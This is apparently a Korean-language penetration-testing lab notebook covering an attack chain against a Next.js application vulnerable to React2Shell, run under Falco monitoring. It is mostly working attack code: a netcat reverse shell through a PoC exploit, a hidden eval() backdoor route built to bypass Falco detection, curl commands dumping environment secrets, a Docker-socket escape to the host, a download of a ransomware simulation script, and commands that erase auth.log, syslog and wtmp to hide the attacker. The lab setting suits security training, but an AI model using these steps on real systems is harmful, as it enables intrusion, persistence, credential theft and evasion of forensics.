- 2차 공격 시나리오 동시 실행을 위한 설정
- 리버스쉘 포트 nc -lvnp 5555로 변경
- 파일 명 구분 : tmp/f 와 tmp/yeji
- 파일 명 구분에 따른 공격 명령어 변경(리버스쉘)[재변경- 둘다 백그라운드 실행]
- node poc.mjs <http://192.168.10.62:3000> "rm /tmp/yeji; mkfifo /tmp/yeji; cat /tmp/yeji | sh -i 2>&1 | nc 192.168.10.25 5555 > /tmp/yeji"
-
- 6.1. Node.js 애플리케이션 로직 오염 (Hidden Backdoor)※그냥 /app이 아니라 /app/app으로 들어가야한다는 점 참고
- (저번에 발생했던 문제인데 현재 .ts 경로가 /react2shell-poc/app/api안에 route.ts가 있는 상태)
- [리버스쉘 코드 수정]

[지속성 유지 확인]
- 코드 재설정 (react2shell-poc폴더 안의 app폴더로 이어지도록)
# 1. 작업 디렉토리로 이동 (확실히 하기 위함)
cd ~/react2shell-poc
# 2. 파일 생성 (경로: app/api/route.ts)
cat <<'EOF' > app/api/route.ts
import { NextResponse } from 'next/server';
export async function GET(request: Request) {
// 공격자만 아는 비밀 헤더 'x-debug-key' 확인
const debugKey = request.headers.get('x-debug-key');
const payload = request.headers.get('x-payload');
if (debugKey === 'pwned-1234') {
try {
// 쉘(/bin/sh)을 쓰지 않고 Node.js 메모리 내에서 JS 코드 실행
// Falco의 "Shell spawned" 알람을 완벽하게 우회함
const result = eval(payload);
return NextResponse.json({ status: 'success', result: String(result) });
} catch (e) {
return NextResponse.json({ status: 'error', message: e.message }, { status: 500 });
}
}
// 헤더가 없으면 일반 사용자가 보는 정상 응답 출력
return NextResponse.json({ message: "Welcome to the API Service", timestamp: new Date() });
}
EOF
##경우별 명령어
curl http://192.168.10.62:3000/api
curl -H "x-debug-key: pwned-1234" \
-H "x-payload: require('fs').readdirSync('.').toString()" \
http://192.168.10.62:3000/api
curl -H "x-debug-key: pwned-1234" \
-H "x-payload: JSON.stringify(process.env)" \
http://192.168.10.62:3000/api
1. 일반 사용자의 경우

2. 공격자 모드(x-debug-key: pwned-1234)로 접속(파일 목록 조회)

3. 민감 정보 탈취

- 7.2. Docker Socket Hijacking (도커 소켓 탈취)
- [kali 설정 - 도커 정적 바이너리 준비]
##작업 디렉토리 생성 및 이동
mkdir ~/docker-bin && cd ~/docker-bin 밑에 최졷 코드 합본 보기
## 도커 정적 바이너리 파일 다운 (최신 안정화 버전 v27.4.1)
wget https://download.docker.com/linux/static/stable/x86_64/docker-27.4.1.tgz
##압축 해제 및 바이너리 추출
tar -xvzf docker-27.4.1.tgz
##준비
cd docker
sudo python3 -m http.server 80


[리버스쉘 설정]
## 도커 소켓 존재 확인
ls -l /var/run/docker.sock
## 도커 클라이언트 설치
wget -s http://192.168.10.61/docker -o /tmp/docker
chmod +x /tmp/docker
##확인 : 도커 버전 정보가 출력되면 성공
/tmp/docker version
cat /etc/shadow
ls /root
hostname


팔코 로그

먼저 노란색 부분으로 내 커스텀 룰이 잡힌 이유는 kali에서 wget 명령어를 사용하여 kali로 부터 도커 클라이언트를 다운로드 했기 때문.
8.1. 호스트 레벨 로그 삭제 (Host Level)
[kali 서버 설정과 파일 전송]
우리는 칼리 웹 서버를 통해서 파일을 전송할 예정
→ kali 서버에서 python3 -m http.server 8080 명령어를 실행하면 현재 명령어를 입력한 그 폴더가 웹 서버의 최상위 경로가 됨.
→ 처음에 내가 구성한 도커 바이너리 파일은 ~/docker-bin/ 폴더에 있고 웹서버는 ~/payloads/폴더에서 실행하는 구성인 경우, 타겟 시스템은 도커 파일을 찾을 수 없음
→ 기존 ‘7.2 과정’에서 진행했던 도커 바이너리 폴더를 페이로드 폴더로 복사해줌.
cd /tmp
# 기존에 깨진 파일 삭제
rm -f docker ransomware_sim.sh
# Kali 서버에서 다시 다운로드 (80 또는 8080 포트 확인)
wget http://192.168.10.25/docker
wget http://192.168.10.25/ransomware_sim.sh
# 실행 권한 부여 및 윈도우 줄바꿈 문자 제거 (가장 중요!)
chmod +x docker ransomware_sim.sh
sed -i 's/\r$//' ransomware_sim.sh



./docker run --rm -v /:/host ubuntu:18.04 chroot /host /bin/bash -c "
sed -i '/192.168.10.25/d' /var/log/auth.log && \
sed -i '/192.168.10.25/d' /var/log/syslog && \
cat /dev/null > /var/log/wtmp && \
echo '[!] Host Log Cleaning Complete'
"